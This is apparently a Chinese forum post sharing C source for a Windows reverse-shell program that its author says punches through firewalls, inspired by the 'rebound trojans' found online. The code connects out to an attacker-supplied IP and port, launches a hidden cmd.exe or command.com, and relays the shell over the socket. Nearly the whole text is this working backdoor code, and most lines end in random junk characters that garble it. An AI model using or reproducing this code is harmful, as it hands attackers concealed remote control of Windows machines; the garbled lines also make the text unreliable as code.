这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &BCl>^wn}
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/* ============================== cW26TtU(
Rebound port in Windows NT Gu|}ax"
By wind,2006/7 ?A2#V(4
===============================*/ QOEcp% 6I}
#include F%lP<4Vx
#include -JaC~v(0
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#pragma comment(lib,"wsock32.lib") ,F.\ z^\{
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void OutputShell(); %[-D&flKC
SOCKET sClient; Sh*LD
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =5oE|F%
,S2D/Y^>
void main(int argc,char **argv) >"{3lDyq-
{ Qy*`s
WSADATA stWsaData; K]oFV
int nRet; pqBd#
SOCKADDR_IN stSaiClient,stSaiServer; #)tt}GX
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if(argc != 3) xYRN~nr
{ yK_$6EtNKj
printf("Useage:\n\rRebound DestIP DestPort\n"); X.}:gU-
return; +S5"4<
} U{} bx
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WSAStartup(MAKEWORD(2,2),&stWsaData); x/#*M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mMS%O]m,|
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stSaiClient.sin_family = AF_INET; 7;)
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stSaiClient.sin_port = htons(0); [,3o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?gY^,Ckj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b\Y<1EV^[
{ t Q385en
printf("Bind Socket Failed!\n"); 0WaC.C+2i
return; Waj6.PCFm
} 75u/'0~5
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stSaiServer.sin_family = AF_INET; casva;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *8M0h9S$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) szu!*wc9
{ uPr'by
printf("Connect Error!"); "-88bF~
return; WUm83"
} $l@nk@
OutputShell(); 7xTgG!>v
} rG|lRT3-K
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void OutputShell() h.d-a/
{ y3{'s>O6
char szBuff[1024]; umhg
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SECURITY_ATTRIBUTES stSecurityAttributes; "SJp9s3
OSVERSIONINFO stOsversionInfo; [KR|m,QWp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FNL[6.!PV
STARTUPINFO stStartupInfo; dQT A^m
char *szShell; Q1yMI8
PROCESS_INFORMATION stProcessInformation; AE?MEag
unsigned long lBytesRead; <ZcJC+k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8yij=T*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s!(O7Ub
stSecurityAttributes.lpSecurityDescriptor = 0; &TJMop Vn
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yB0xa%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); : 8dQ8p;
%Hx8%G!
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]CHO5'%,$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a9]F.Jm
stStartupInfo.wShowWindow = SW_HIDE; }N[|2nR'
stStartupInfo.hStdInput = hReadPipe; r@b M3V_o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W^#HR
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GetVersionEx(&stOsversionInfo); FcVQ_6
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switch(stOsversionInfo.dwPlatformId) N3dS%F,_
{ 2[!#Xf
case 1: 1Tl^mS~k
szShell = "command.com"; ~Cc%!4f'
break; (#I$4Px{
default: WzG]9$v &
szShell = "cmd.exe"; (K9pr>le
break; g~EN3~
} 7QV@lR<C2R
cHo@F!{o=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sNB*S{
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send(sClient,szMsg,77,0); SB~HHx09
while(1) @jh\yj rW
{ (bhMo^3/*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %G6Q+LMwm
if(lBytesRead) %!DdjC&5*
{ <"/b 5kc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QguRU|y
send(sClient,szBuff,lBytesRead,0); 7`eg;s^
} (h{"/sR
else CCoT
{ B|9[DNd
lBytesRead=recv(sClient,szBuff,1024,0); W5i{W'
if(lBytesRead<=0) break; 'O>p@BEK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} <MK4#I1I
} '`s\_Q)hG_
ul(pp+%S
return; ^.3(o{g
}